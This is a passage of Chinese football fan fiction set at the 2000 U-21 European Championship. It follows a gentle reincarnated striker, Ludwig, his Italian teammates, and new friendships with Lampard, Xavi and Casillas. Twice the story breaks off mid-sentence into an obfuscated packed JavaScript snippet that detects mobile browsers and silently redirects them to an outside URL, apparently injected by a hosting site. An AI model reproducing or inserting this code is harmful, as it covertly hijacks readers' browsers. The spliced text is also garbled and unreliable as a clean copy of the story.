这是注定会发生的事情，就像现在布冯只能在电话里和他道歉说不能给他带拿破仑的小像了，就像16岁的皮尔洛进入布雷西亚的一线队，那些成年的队友不怀好意的打量和比赛时对面后卫永远野蛮频繁的侵/犯，这让他伤痕累累，但皮尔洛从来不告诉路德维希。 如果某一天路德维希回过头再也看不见身边的朋友们，就算习惯了独行，他也会有点无措的。 “我只是稍微有点寂寞……我是不是变软弱了？” 路德维希犹豫地用手指点着憨豆熊的脑袋，少见地开始怀疑自己起来。 已经入夜了，月光轻盈地漂浮在路边橄榄树亮银色的树冠上，林深处传来夜莺婉转的鸣叫，到了蓝冠山雀活动的时候了，它们的叫声是“啾啾啾”的，此起彼伏，呼朋引伴地要出游了。 神明依然承诺：“向我许愿，我会满足你的愿望。” 但路德维希还是拒绝了。 “我很满足现在的人生，世界很温柔，有很多人在爱我，我也爱他们。” 神明已经弥补了路德维希缺憾的上一世，祂慷慨地爱着路德维希，给予他尽善尽美的一切，路德维希又怎么能要求神明不仅要爱他，还要像爱他一样也要去爱他的朋友们呢。 谁的人生能圆满，谁有资格替本人去改变他今后的命运？路德维希发着呆，忽然想到他可以给吉吉寄去他自己拍的照片，还有来自捷克斯洛伐克的礼物，没准吉吉会喜欢捷克斯洛伐克版本的拿破仑小像。 9. 第 9 章 U-21欧青赛向来被当做巨星的摇篮，几乎每届赛事都有小妖一鸣惊人，在赛场上天神下凡踢出风采踢出身价，但和职业赛场的球员相比他们还是相当便宜，于是不少勤俭节约的俱乐部会在欧青赛淘金，对于小球员来说，这是非常重要的展示自己的舞台。 尤其今年还会举办欧洲杯，于是这届欧青赛被视作欧洲杯的前奏，比往年吸引了更多的目光。 本届欧青赛决赛阶段的八只球队被分成了两组，意大利在B组，同组其他三只球队分别是英格兰、斯洛伐克和土耳其，A组则是克罗地亚、荷兰、捷克和西班牙。 从1992年起，意大利U-21国青队蝉联了三届欧青赛冠军，直到98年被异军突起的西班牙打破了连冠，于是意大利球员上下摩拳擦掌，势必要向西班牙报仇，结果两队分在两组，意大利只能遗憾和西班牙淘汰赛碰面了。 “他们该不会小组赛就出局吧？”皮尔洛不怀好意地评价。 上一届欧青赛举办的时候，他和加图索还有安布罗西尼都参加了比赛，结果淘汰赛直接被西班牙送回观众席看比赛了，最后看着西班牙获得了欧青赛冠军。 客观来说，这次失败是因为意大利往往不会让年轻球员参加多次国青队的比赛，96年的欧青赛冠军球员布冯和内斯塔托蒂等人都还在参赛年龄内，但赢得冠军后他们就进入一线队了，内斯塔还因为表现太优秀被当时的国家队主教练切萨雷·马尔蒂尼提拔进国家队，直接退出国青队。 好的球员又不像地里的野草，拔出一茬还有一茬，但皮尔洛才不接受上次的失败，大家都是科维尔恰诺出来的，他的朋友能赢冠军，为什么他不行？难道要他承认是自己不如别人，别搞笑了！ “你每天都要和我多去训练一个小时，”他对路德维希说，“看见西班牙那群人了吗？你知道自己要干什么吗？” 路德维希捧着蛋糕懵懵地抬头，就像每一个被中场质问的前锋一样感到茫然。 “嗯，记得要和伊戈尔和哈维打招呼？”路德维希犹犹豫豫地开口，安德烈亚不是会提醒他要跟朋友的打招呼的人啊，但他又不想不到还有什么其他的解释。 皮尔洛一巴掌拍在傻子前锋的背上，“——给我狠狠地进他们的球！不然你不许和他们打招呼，知道了吗？” 就算是路德维希也知道，把人家打输之后再去打招呼不是很好，对方没给你一巴掌就是和你关系很好了。 路德维希和他的西班牙朋友们是去年尼日利亚世青赛的时候认识的，意大利和西班牙分在了一个小组，携手第一第二出现，最后意大利一路赢到了冠军，而西班牙淘汰赛第一轮就遗憾出局了。 从这个角度来说，皮尔洛已经成功复仇了，但是他不认不是自己亲自送西班牙出局的结果，所以今年还是憋着气要给西班牙人一点教训。 ——尤其是那两个勾搭lulu的臭不要脸西班牙人！皮尔洛深沉地想，深觉路德维希身边净是一些狂蜂浪蝶。 是是是，路德维希是长得好看球又踢得好，想和他做朋友也是人之常情，但是卡西利亚斯和哈维，一个直接说“lulu你愿意来皇马吗”，另一个暗戳戳地表示“巴塞罗那风景很好，你去过吗”，如果不是皮尔洛扯着路德维希转身就走，这人早就快快乐乐地被拐上飞机了。 “可他们来跟我打招呼了，安德烈亚，那你要检查吗？” 路德维希晃了晃手机，要给皮尔洛看他的短信，但后者被烫到了一样立刻从路德维希的身边弹起来，头撇了过去，不肯看路德维希，“你你你，你干什么啊？检查什么，我说过要检查了吗，我是你什么人我要检查你手机？” 你以后难道要给你女朋友检查一切吗？如果我和你聊天，某个人也可以看见吗？但说出口前皮尔洛想起来路德维希没有谈过恋爱，于是又不说了。 他憋了一口气，又急又快地开口，“我万一看到了你隐私怎么办？” “安德烈亚这是什么意思？——我没有不能给你看的，手机没有密码，你可以直接看。”路德维希困惑地挠挠脸，觉得安德烈亚说反话的爱好又来了，直接把手机塞进他的手里。 路德维希其实真的无所谓，或者应该说他没有什么隐私意识，上辈子他在病房里长大，为了身体安全，医生们全年监控着他的一切，他养成了要跟人告知自己的一切的习惯，而且神明这辈子又一直陪伴在他身边，神明无所不能，在神明面前他应该就和透明人一样吧。 但皮尔洛立刻又把手机给路德维希丢回来，他们抛来抛去，好像手机是个炸弹一样，皮尔洛一秒都不想多拿这个烫手的东西，他急切里面又带了抱怨，路德维希怎么可以这样呢？ 可他看着路德维希那张信任的脸，又说不出什么话了，只好哼哼着又坐了回去，还是要挨着路德维希坐。 围观许久的科科忍不住丢了抱枕去砸皮尔洛，“安德烈亚你真的够了！”他也想和路德维希坐一起，不如说所有人都想，但是皮尔洛永远理所当然地站在路德维希身边，并且挑剔地嫌弃每一个要插/入他们之间的人，科科真是受够他了。 皮尔洛又像弹簧一样咻地弹起来了。 他气急败坏地追着科科跑，手里攥着抱枕，好像挥舞着长剑，要用剑尖去捅死这个坏家伙，大厅里有人开始吹口哨，都在笑哈哈地看热闹。 科科被追了一圈，终于经过了路德维希，他嬉皮笑脸地说“lulu把你的抱枕借我吧”，皮尔洛在后面大叫“不许我不许”，但他已经从路德维希手里接过抱枕了，直接转守为攻，回头暴打皮尔洛。 他是人高马大的后卫，本来就该是他追瘦弱中场跑的。 原本大家都在休息聊天放松心情，但是有两个人开始发疯之后，所有人都彻底抛弃了什么文明人类的理智和智商，也像一群大猩猩一样大叫着乱跑砸人哈哈大笑。 塔尔德利只能站在二楼看着他们的男孩们疯玩，其他教练都是一幅习以为常的表情。 “其实有时候我也会想他们能不能安静下来的……”主教练忍不住说。 助理教练耸耸肩，熟练地说：“那他们就不能踢你的激情足球啦——还有你这话已经说了36次了，马尔科。” 意大利成年队以保守谨慎的风格著称，但塔尔德利的青年队踢的却是不折不扣的攻势足球。 B组小组赛第一轮，意大利对阵英格兰，场上局势简直和他们国家的成年队反了过来。 当然了，这不是说英格兰U-21的球员已经和意大利一样擅长防守了，这是指幼年三狮军团抵挡意大利人进攻的模样让人感慨——和真正的三狮军团一比，这群青年球员的防守简直让人男默女泪。 如果英格兰成年男子国家队也能学会补补他们破烂的后防，大力神杯回家一定指日在望。 英格兰U-21球队的中场核心就忍不住在心里叹息，他知道自己的队友已经够好了，他们的防守没有问题，只是对面意大利比他们做得更好。 才17分钟，对面16号就已经进了两个球了……他的目光穿越人群看向万众瞩目下的意大利前锋，对方和队友正抱成一团庆祝，所有人都忍不住亲吻他漂亮的脸蛋，揉弄他金色的长发，他们哈哈大笑，仿佛已经赢得了胜利。 忽然金发的少年若有所感，他在喧闹的人群中侧过头，目光也穿过人海，那双好奇的绿眼睛和正在默默注视着他的英格兰中场对视了。 几秒过后，英格兰8号率先移开了目光，只留下一个背影给冲着他遥遥地露出一个微笑的路德维希。 比赛还在继续。 路德维希今天踢得快活极了，不像是在AC米兰一线队，虽然他也是珍稀的前锋，但是扎切罗尼实际上还是把他当做奇兵来使用，他在球队里的开火权处于第三或者第四位，大多数时候队友们不会想到要给他创造射门机会，他的战绩那么好纯粹是因为他自己的原因，大多数球队并没有针对他防守，所以总让他找到机会。 而在国青队，塔尔德利是把路德维希当做真正的核心。 今天意大利踢的阵容是4231，路德维希是全场最锋利的进攻点，左前锋文托拉，右前锋科曼蒂尼，皮尔洛出任前腰，巴罗尼奥后腰。 后场不必多说，在意大利踢球的孩子从出生都会防守，在母亲的肚子里都要练习滑铲，出生之后都是看着马尔蒂尼踢球长大的。 不过就算解说在赛前解说了，大多数观众包括解说自己其实对意大利后场的熟悉度都约等于没有，只要看看赛场上就明白了，意大利哪有后卫呢，虽然报上来的是左后卫右后卫中后卫某某人，但是意大利后场哪有人？都跑中场来了，其实意大利今天赛场上拉出一头驴都是前锋吧。 塔尔德利的战术很简单，两个边锋逼抢拉扯走位，年轻人最不缺的就是体力，一定要把对面英格兰人当驴遛，一有机会就传中，中场由皮尔洛组织节奏，随时寻找机会传球路德维希——更复杂的战术也不是没有，毕竟意大利的教练遍布五大联赛，而英格兰连个教国家队的教练都找不出来，更别说青年队了，跟塔尔德利比战术，对面就是底裤看穿的命运。 但是话又说回来，我们都有大杀器了，干嘛还跟你过家家呢？ 塔尔德利轻松地想。 上半场比赛第38分钟，英格兰后卫汤普森带球突破，可惜刚过中场就被两名意大利球员团团围住，左右为男，这时他的队友，英格兰的中场核心兰帕德伸手要球，他松了一口气，立刻回传过去。 兰帕德有一张圆圆方方的脸，五官轮廓线并不明显，这是张柔和沉静的脸，但他黑色的眉毛凌厉地压着眼，墨绿色的眼睛总是专心致志地看着前方，嘴唇抿着，显现出几分他天生的坚毅和固执。 就像现在。 解说大叫着：“英格兰的小将兰帕德正在尝试突破，他的位置并不好，因为意大利的球员萨内蒂和巴罗尼奥就在附近，赶来地非常快啊，应该是早有准备了……” 两队语言不通，兰帕德直接大喊着指挥，“汤普森！汤普森！”右边锋汤普森按照兰帕德的手势开始前插，这辆原本被打得昏了头的英国老爷车又开始缓慢地启动起来，“科特准备接应，来个高球！” 谁有没有注意到，意大利的中锋路德维希忽然转头看了眼兰帕德。 “安德烈亚，不是边路，是中路！”他也大喊。 这个人的英语比迈克尔清楚多了，路德维希心想，英语的方言好难懂啊。 这次由英格兰中场发起的反击失败了，因为意大利的中场皮尔洛仿佛和兰帕德心灵相通一样，封堵了兰帕德传中的可能，边路也有意大利后卫插上，兰帕德不得不在丢球前强行尝试来一脚远射，期待着能有谁跳起来抢到，不管是科特还是亨德里都行—— “科科起跳，拦截下了足球！意大利方面真的踢得太好了，英格兰队已经完全被看穿了！”解说激情四射。 兰帕德怀疑地看向对面21号，这个长发卷毛男，他觉得这人是不是有读心术？不然怎么解释，不，这也太恶心了，和一个男的心灵相通什么的。 他心里呸呸了好几下，最后看一眼皮尔洛，转身走了。 而皮尔洛只感觉莫名其妙，英格兰的男的都这么恶心吗？怎么老喜欢盯着他们意大利人看。 球被顶出了边线，目前正在意大利的后场倒脚，上半场要结束了，还在寻找机会的兰帕德只能叹了口气，期待着一会中场休息的时候主教练能给出什么办法，哨响之后他往球员通道走，忽然鬼使神差地回头了。 意大利的球员也在退场，路德维希是这场最忙碌的人，简直是比赛第二指定用球，英格兰球员技术糙，但身体不糙，知道他是攻击核心就想尽办法拖住他，直到被发两张黄牌才开始收敛。 路德维希扯下发带，用手指捋着湿漉漉的头发，他脸色潮红，汗水涔涔，蓝色球衣紧紧贴着胸膛，但眼睛还是明亮的，好奇地打量着这座球场。 自然而然地，他和兰帕德对上了眼。 这次英格兰的中场核心没有转身就走，他抿着唇，他的上唇很薄，这下嘴巴就完全是一条线了，粗粗的眉毛垂着，看上去一副隐忍的样子。 路德维希不明所以，有点想问你是不是要和我交朋友？他一向这么这么直接。但是皮尔洛发现他还没跟上来，于是在背后喊他快点，而路德维希和兰帕德又离了这么远，他担心就算自己喊了对方也听不见。 但他还是喊了，路德维希用力地挥手，湿漉漉的头发在耳边颤颤，好像云朵堆积在山上要倾倒下来，“你叫兰帕德对吗？”他大声地问，但球场太吵闹了，上万个人都在交谈跺脚，针对赛况骂骂咧咧或者兴高采烈，他的声音也就显得小了。 英格兰的8号显然没想到路德维希会当众找他说话，这么万众瞩目，甚至摄像头还对着他们，他受惊似地瞪大了圆圆的眼，惊慌失措地看了眼背后，这个保守的英格兰人捏着球衣，头也不回地跑走了，好像洪水猛兽在身后要追上来。 “那个英格兰人找你换球衣？”折返回来的皮尔洛看着兰帕德慌忙的背影，有点摸不着头脑。 球场上互换球衣是很正常的一件事，除了死敌俱乐部或者国家队，球员们经常交换球衣，很少拒绝。 “我猜他想要我的球衣，但他太害羞了，不肯过来跟我说。”路德维希说。 下半场开始后英格兰的困境并没有发生改变，主教练不是上帝，没办法施展奇迹，只能重复着注意防守，小心对面的前锋，不要让他轻易起脚。 所有人都知道要防守路德维希，但谁做得到呢？ 《太阳报》不嫌事大， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442991|169386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天天渲染欧文和路德维希的二三事，欧文是英格兰的超级新星，和他齐名的路德维希也是知名天才，赛季末上了AC米兰一线队一路拳打脚踢，生涯路线和欧文看上去大差不差，也是要火箭般闪耀足坛的，而大部分国青队球员都还在青年队摸爬滚打，让他们防守路德维希，只有犯规一条路。 意大利和英格兰也没有大仇，不至于把彼此踢得要下场，就算这样，英格兰上半场已经有两张黄牌了，全是侵/犯路德维希拿到的。 带着两张黄牌和落后的两个球，英格兰踢得束手束脚，但踢久了难免火气也上来了。 下半场第24分钟，科曼蒂尼带球右路突破，疲于奔命的英格兰球员根本拦不住他，门将已经开始心痛了，在门线范围内小心地活动着脚踝，防止科曼蒂尼冷不丁来脚远射。 门前路德维希已经就位了，只等科曼蒂尼传球。 在这种时候，还是兰帕德站了出来。 其实兰帕德也是英格兰国内小有名气的天才中场，各项技术相当全面，在西汉姆联常常用进球引燃全场，但这场比赛里兰帕德被迫地把更多的精力放在了防守上。 科曼蒂尼果然没想着自己射门，看见路德维希站位相当好之后果断传中，兰帕德拍马赶到，仰头看着足球立刻起跳，在他身后路德维希也起跳。 足球砸在路德维希漂亮的脑袋上，弧度美丽地跃入了球网。 进球有效。 但裁判立刻又吹响了暂停，他飞奔过来，要查看路德维希的情况：兰帕德争顶失败，他的头没能接到足球而是接到了路德维希的胸，他甩头狠狠砸了上去，然后路德维希被撞得直接往后倒在地上了。 皮尔洛马上冲过来查看路德维希的情况，场边队医也在塔尔德利的骂骂咧咧中飞奔过来。 意大利队的怒火彻底点燃了，科科冲上去就要揪罪魁祸首的领子，从比赛开始到现在，英格兰队已经一共四张黄牌了，下半场又针对皮尔洛和路德维希各拿了一张，至于口头警告更是数不胜数，泥人都有火气，何况足球运动员是真的踢着踢着热血上头。 英格兰队也有话要说，兰帕德可是中场核心，英格兰到现在还是0比3而不是踢出惨案他功不可没，我们家头牌又不是故意的，你们意大利人怎么这么不讲理，没看见我们兰帕德也在拼命道歉要去瞧你们前锋吗？ 很多时候，两支球队赛场上斗殴和队友受伤程度没什么关联，只是找了个发泄怒火的途径。队医初步检查后发现路德维希没什么问题，毕竟兰帕德还是中场，没有专门练过头球，力量轻飘飘的，只是路德维希没站稳摔地上了，他没反应过来，脑子有点发蒙。 谁能想到会是兰帕德冲过来争顶呢，他又没路德维希高，又是个进攻型中场，好吧他防守能力也很不错……于是路德维希倒在地上，看着对方黑色的后脑勺愣了一下。 头发好像猕猴桃一样毛毛躁躁的，路德维希认真地想英国人的头发怎么都直直的，也不长呢？ 这场争斗以双方各打五十大板结束，意大利拿到了第二张黄牌，毕竟路德维希没什么事，而其他人属于下半场比赛新仇旧恨一起发作，故意借题发挥想要和对方打一架，裁判也很无奈，英格兰已经四张黄牌了，再给一张这比赛还踢不踢了。 他没管还在试图理论的意大利球员，让他们回到自己的位置上去。 兰帕德的认错的态度很好，裁判只是口头警告他，下次注意。 不过兰帕德也不需要注意了，因为路德维希还是被担心的塔尔德利换下场了。 独进三球的前锋被替换下场，意大利的球迷们都为了自己亲爱的球员欢呼鼓掌，中立球迷也热热闹闹的，只有臭脾气英格兰人感慨这杀器终于下去了，谁懂进了三个球，一个头球一个远射一个凌空抽射的含金量啊。 其他人是值回票价了，他们英格兰的命就不是命了吗？ 不管怎么样，B组第一回合意大利对阵英格兰3：0轻取三分，下一场斯洛伐克对阵土耳其要两个小时后举行；隔壁A组西班牙2：1战胜荷兰也得到三分，目前西班牙和意大利各是小组第一。 提前下场的路德维希经过检查没什么问题，于是塔尔德利悬着的心又放了下来，让路德维希去替补席上休息。 赛后塔尔德利带着两助攻，多次关键传球的皮尔洛去了发布会，路德维希洗完澡嫌弃更衣室闷热，一堆赢了比赛的雄性生物又蹦又跳，让他也觉得吵，于是他偷溜出去，打算去球场看看，他还是很好奇这座球场的顶棚怎么设计的。 兰帕德就站在更衣室的门外，惊讶地看着带着水汽的路德维希忽然出现在面前，他的心脏怦怦跳，担心路德维希看见他不高兴转头就走，立刻就开口道歉。 “抱歉，我在球场上那个时候不是故意的，我没想到会撞到你……”他眉毛更低了，显得整个人更加愁闷，但他脸圆圆的，配上这幅表情看了就让路德维希情不自禁地笑出了声。 兰帕德愣愣地看着路德维希，嘴里的声音小了下去，最后悄然消失了。 “……你为什么要笑？”他像个笨蛋似地发问，把自己心里话说了出来。 “因为我想和你做朋友。”路德维希想也不想立刻就说。 他觉得兰帕德有些害羞，所以打算自己主动点。 “我愿意，不是，我的意思是，”兰帕德舌头开始打搅，感觉自己英语都不会说了，“我也想和你做朋友，从我见到你第一眼，我就想和你做朋友了。” 路德维希的笑容太灿烂太热情了，比太阳还要耀眼，几乎要把从小在阴风苦雨里长大的英格兰人给烧冒烟了，兰帕德晕乎乎地和对方交换了姓名，他叫路德维希lulu，而lulu叫他弗兰克。 他们交换了电话、邮箱和家庭地址，路德维希说这样不管怎么样弗兰克都可以找到我了，又说弗兰克你要和我交换球衣吗？路德维希说着就要脱下自己刚换上的新球衣。 不不不！这件事对于闷骚得连衬衫每一粒扣子都要扣上的英格兰人来说还是太超出能力范围了！兰帕德面红耳热，幸好他一下了球场就来找路德维希，身上还是在球场上翻滚一百分钟的狼狈，头上还顶着草屑，兰帕德庆幸没人能看出来他在不好意思。 然后路德维希伸手捏住了兰帕德头上的小草，他一只手按住新朋友的肩膀，接着绕着兰帕德转了一圈，后者的球袜都被染绿了，背后也是一大片汗湿的痕迹，黑色的头发乱糟糟的，像是鸟窝，似乎随时能飞出一百只喜鹊来。 “你看，是小草。”路德维希把碎掉的草叶放在兰帕德被他摊开的手掌里。 他又问了一遍，“要换球衣吗，弗兰克？” 兰帕德讷讷地开口：“如果你愿意的话。” 路德维希当然愿意，他知道自己的新朋友是个害羞的人。 10. 第 10 章 下一场比赛在5月29日，球员们有一天的休息时间，到了比赛前球队反而不会训练了，为了防止球员训练时受伤，所以多半是一些放松的活动。国家队和俱乐部的比赛也不一样，球员的水平不会短短几天突飞猛涨，主教练能做的就是提高球员彼此的熟悉程度，对个人要求不会很高。 所以路德维希轻松地从塔尔德利那里请到了假，要出去闲逛。 1993年，捷克和斯洛伐克和平分裂成两个国家，不过就算直到下个世记还是有人分不清它们的区别，所以在2000年，世界上的大部分人还是把它们当成一个国家。布拉迪斯拉发是斯洛伐克的首都，它是世界上最迷你的首都之一，人口只有43万，只靠步行就能游览全城。 路德维希带着自己的“丁丁”出发了——一台今年最新发布的索尼cyber-shot 数码相机，路德维希用它的拍摄的第一张照片是夕阳下的米兰城。 他坐在橘黄色电车的小窗边，通过这台相机去观察这个世界，好像回到了十多年前，还是个孩子的他第一次推开那扇卧室的大门，要离开自己的保护地去探索未知的一切。阳光透过客厅的窗，世界明亮盛大，让他怔在原地，抬头看见灰尘在金色的光线里静静地跳着舞。 生命真的太美好了，路德维希迫不及待地要去探索这个世界了。 他哼着歌给朋友们发了消息，告诉他们自己要开始冒险了。 “如果你愿意跟我一起去探险的话，就来市中心的罗兰喷泉广场，”路德维希兴高采烈地给目前在布拉迪斯拉发的朋友都发了短信，连昨天刚认识的兰帕德也没有落下，“我真想见到你们——如果你们的教练允许的话。”他想起来不是所有教练都像塔尔德利一样好说话，于是又补上了一句。 兰帕德没想到自己会和路德维希这么快再次见面。 本来应该是这样的，毕竟英格兰昨天刚输了意大利 ，按照欧青赛赛制他们下次球场见面得是决赛了——如果英格兰能小组出线还赢了淘汰赛的话。 但兰帕德心知这很难，这届英格兰国青队的队友并没有能力突出到可以拖着英格兰前进的天才球员。 如果能进淘汰赛都已经是不错的战绩了，输给如日中天的意大利很正常，英格兰大部分人已经从输了球的伤心里恢复，开始展望下一局，教练干脆放了假给球员们调整，所以兰帕德去找路德维希可以随时出发。 ——所以他怎么就秒回路德维希的消息了？lulu一看就不缺朋友陪，我和他才刚认识，我去插/入lulu和他朋友们真的好吗，可是他说他真的想见我……兰帕德一把摊开行李箱，唰唰唰地把全部衣服都丢上床，试图给自己找一件礼貌的、得体的，同时还要凸显自己的帅气的衣服。 和他住在一起的舍友卡拉格进门就被满地的行李吓了一跳，垫着脚往床边蹦跶，“弗兰克你知道我们晚上会有教练查房吧？” 一件衬衫立刻飞到卡拉格的脸上，被他笑嘻嘻地接住了。 兰帕德站在卫生间的镜子前比划着，没去管故意搞怪的卡拉格。这家酒店的卫生间都安装了全身镜，他挑剔地打量着自己，觉得哪哪都不合适，这件显得他矮，上一件又显得他太黑，“你觉得哪件适合我？”兰帕德忽然想到自己也许应该问问第二个人的意见。 卡拉格立刻蹿过来，“穿什么这要看对象是谁，比如你要是跟本地姑娘出去玩，那你就得穿时髦点——别让她把你当成土狗。” 虽然卡拉格说得头头是道，但是兰帕德知道这家伙只是想八卦，他不想告诉别人自己是要去罗兰喷泉下去见路德维希了，可不告诉卡拉格的话，这个大嘴巴绝对会造谣兰帕德和某个姑娘约会去了，然后嚷嚷得人尽皆知，他绝对会的。 兰帕德只好说：“不是什么姑娘，是路德维希，昨天意大利的16号前锋。” 卡拉格没有露出什么震惊英格兰中场核心通敌的痛心表情，相反他激动起来，“路德维希？AC米兰的那个路德维希？” 兰帕德惊悚地回头看他，卡拉格的表现让他感觉自己好像进入了什么三流狗血电视剧。这人难道暗恋lulu？他的眼神锐利起来。 “马尔蒂尼，他肯定天天和马尔蒂尼见面！”卡拉格还在大叫，“我真嫉妒他！” 兰帕德悄悄松了一口气，原来卡拉格是明恋马尔蒂尼，“lulu已经进入一线队了，应该会和马尔蒂尼一起训练吧。”他自然地说。 身为后卫喜欢马尔蒂尼简直就是吃饭喝水那么简单，卡拉格还在念念叨叨，都没空想兰帕德怎么跟路德维希扯上关系的——就因为昨天兰帕德把对面撞倒地了吗？不过这不重要，重点是有了这层关系，他是不是有机会要到马尔蒂尼的签名了？ “弗兰克！你一定要好好打扮。” 卡拉格深沉地说，他打量了一遍兰帕德的衣柜，嫌弃起来队友的审美，“别穿你这些丑衣服了——过来，看我的行李箱。” 兰帕德别别扭扭地出发了，因为卡拉格这家伙骚包地还给他喷了发蜡，他不得不忍住别去摸头发。去征服米兰吧！这个英国后卫沉浸在得到偶像签名的幻想里，用力地拍打兰帕德肩膀，把他推出门，好像在欢送勇士出征。 “别忘了我的签名，好兄弟！” 在布拉迪斯拉发这座小城，从英格兰国青队住的酒店走到市中心只需要十分钟，沿途都是布满历史风霜的高高的石墙，墙面上都是划痕，大小不一的石块堆砌，和五颜六色的房屋顶组合在一起，好像一块大大的拼接布，地上长长的石板路则是缝合的线头，它们交错纵横，让这座城市像是童话故事里的小镇一样梦幻。 兰帕德转过街道，遥遥地看见了罗兰喷泉中心最上方持剑而立的骑士，骑士脚下的基座上是拉丁文的建造铭文，用以纪念神罗皇帝马克西米利安二世，寓意着这位永恒至尊会永远地庇护普雷斯堡，这是布拉迪斯拉发过去的名字，在过去无数位神罗皇帝在此登基加冕。 但兰帕德当然不知道，没机会发表一通关于历史关于岁月的感想，他16岁就决定自己要成为一位职业球员了，在他还在读书的时候，他连上课都在琢磨足球战术。他只是看见了雕塑中部四面雕刻的长着翅膀的小天使在尿尿。 兰帕德没有看见路德维希。 但喷泉边两个正在闲聊的人影注意到了兰帕德，其中稍矮的那个人立刻对兰帕德的方向挥手，“嘿，你也是lulu的朋友吗？” 兰帕德听懂了这句简单的西班牙语，感谢他曾经的西班牙语老师，“嘿？”他迟疑地点头，朝他们走去了。 这两个人都是西班牙人，一个叫卡西利亚斯，一个叫哈维。 卡西利亚斯是个完美符合刻板印象中阳光灿烂乐观开朗的西班牙人，他有一头金棕色的短发，笑起来会露出牙齿，非常热情地用他稀烂的英语和兰帕德沟通；哈维反而比兰帕德更像个冷淡的英国人，似乎一开口就要“请”“劳驾”“恕我直言”，要用自带的阴风苦雨隔绝一切社交。 “lulu一会就来。”他只说了这一句就不再说话了。 卡西利亚斯热情地介绍自己和同伴：“我和哈维都是西班牙国青队的队员。” 兰帕德噢噢噢地点头，假装自己听懂了，总而言之他们应该都是西班牙国青队的队员吧，其实他就听懂一个足球。 路德维希姗姗来迟，背后还慢吞吞地跟着一个皮尔洛。 哈维第一个看见他，旁边卡西利亚斯还在专心致志地和兰帕德鸡同鸭讲，什么都没有意识到，于是他直接大跨步迎了上去，下一刻路德维希搂住他，开心地亲吻自己西班牙朋友的侧脸。 哈维自然地捧住路德维希的脸，也亲了回去。 “哈维，好久不见！还有伊戈尔，我也很想你。” 在没人看见的地方，皮尔洛偷偷翻了个白眼，原本他打算留在酒店打游戏，直到路德维希准备出发他才后知后觉lulu要跟人跑了，于是紧急跟过来，现在感觉自己像是封建家长看见孩子乱搞关系，只想冲上去把这群人撕开，别像口香糖一样粘着他家前锋了。 和皮尔洛有点像的还有兰帕德，后者尴尬地站在一边，觉得自己好像有点多余。路德维希一来，原本冷冷淡淡的哈维立刻就生动起来，不再像个雕塑似地站在原地沉思，很难不让人感觉他其实是不喜欢兰帕德这个人。 “——弗兰克，我真高兴你能来。”下一秒路德维希转头握住兰帕德的手，卡西利亚斯搂着路德维希的肩膀，两个人都笑得开心极了。 兰帕德有些不好意思地说：“其实我也很高兴见到你，lulu。” 冷淡的哈维和长发卷毛男立刻被他抛到耳后了，他全身每个细胞都恨不得和路德维希贴在一起。 在双倍的热情下，三个人开始开开心心地商量去哪玩，聪明的中场球员哈维和皮尔洛偶尔才说话，负责制止三个没有脑袋的家伙的异想天开，路德维希负责提出，卡西负责完善，兰帕德只会盲从说好好好，真让人怀疑他怎么踢中场的。 朋友们之间的暗流涌动，路德维希完全没有意识到。 在人际交往方面，他一向是个迟钝的人，但好在他主动又热情，从来不会让问题留在心里，长了嘴就是为了直白地表达自己。当他模糊地意识到朋友们情绪不对时，他往往会直接说我很担心你，我想要你需要我，如果可以的话，请和我说会儿话好吗？ 路德维希的话那么真挚，绿色的眼睛湿润地看着你，好像你就是他的全世界，他的世界里下起蒙蒙细雨，让你只能走入他的伞下，好让两颗跳动的心挨在一起。 ——他显然是个成熟的意大利人了，已经无师自通了让无数人为了他辗转反侧彻夜难眠，想着这人对我笑是什么意思。 现在路德维希只是觉得朋友们热情得过分。 比如讨论后他们决定先去吃午饭，餐厅的露台只有四人桌，路德维希去找服务员询问可不可以再加一个位置，等他带着椅子回来，看见四个朋友里只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442992|169386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡西利亚斯已经坐下了，其他三个人似乎还在谦让，都站着没坐下，唯一坐下的卡西也和路德维希一样摸不清头脑，茫然地似乎也想站起来了。 卡西利亚斯觉得这群人真是怪怪的，虽然大家都是第一次见面，但也没必要礼貌到这个地步吧。 皮尔洛首先表示“我和lulu是队友，我得等他来”，于是抱胸站着，那双睁不开的眼睛似乎又闭上了；哈维施施然表示自己不能让朋友站着自己坐着，所以请皮尔洛先坐；兰帕德摸着他梳得每根发丝都在闪闪发亮的黑发，腼腆地微笑，不说话，也站着。 ——难道我是一个没有礼貌的人？卡西利亚斯震惊地想，我给热情好客的马德里人丢脸了吗？ 就在这时，路德维希回来了，于是卡西利亚斯不必再去思考西班牙人在英国人和意大利人面前的形象问题，他在椅子上又坐得稳稳的，拉开自己身边的座位，对着路德维希招手。 路德维希走过去，挨着卡西利亚斯坐下，转头好奇地问其他人：“你们为什么不坐下？” 兰帕德立刻坐在了路德维希左边的空位上，他原本想说些什么我在等你回来的话，但是哈维先开口了。 “劳驾让让，”哈维拎着第五把椅子，自然把它插/入兰帕德和路德维希中间，好像本该就是这样，“我想等你回来。”他转头对路德维希说。 而兰帕德就只能说没什么，他想站着而已……这个哈维绝对是个英格兰人，还得是曼彻斯特人，兰帕德简直想狠狠踹这个家伙的屁股。 皮尔洛随便坐下来，开始翻菜单，“lulu，我给你选好菜了，”他轻松地说，好像这只是件小事。 卡西利亚斯探头探脑，“有土豆吗？” 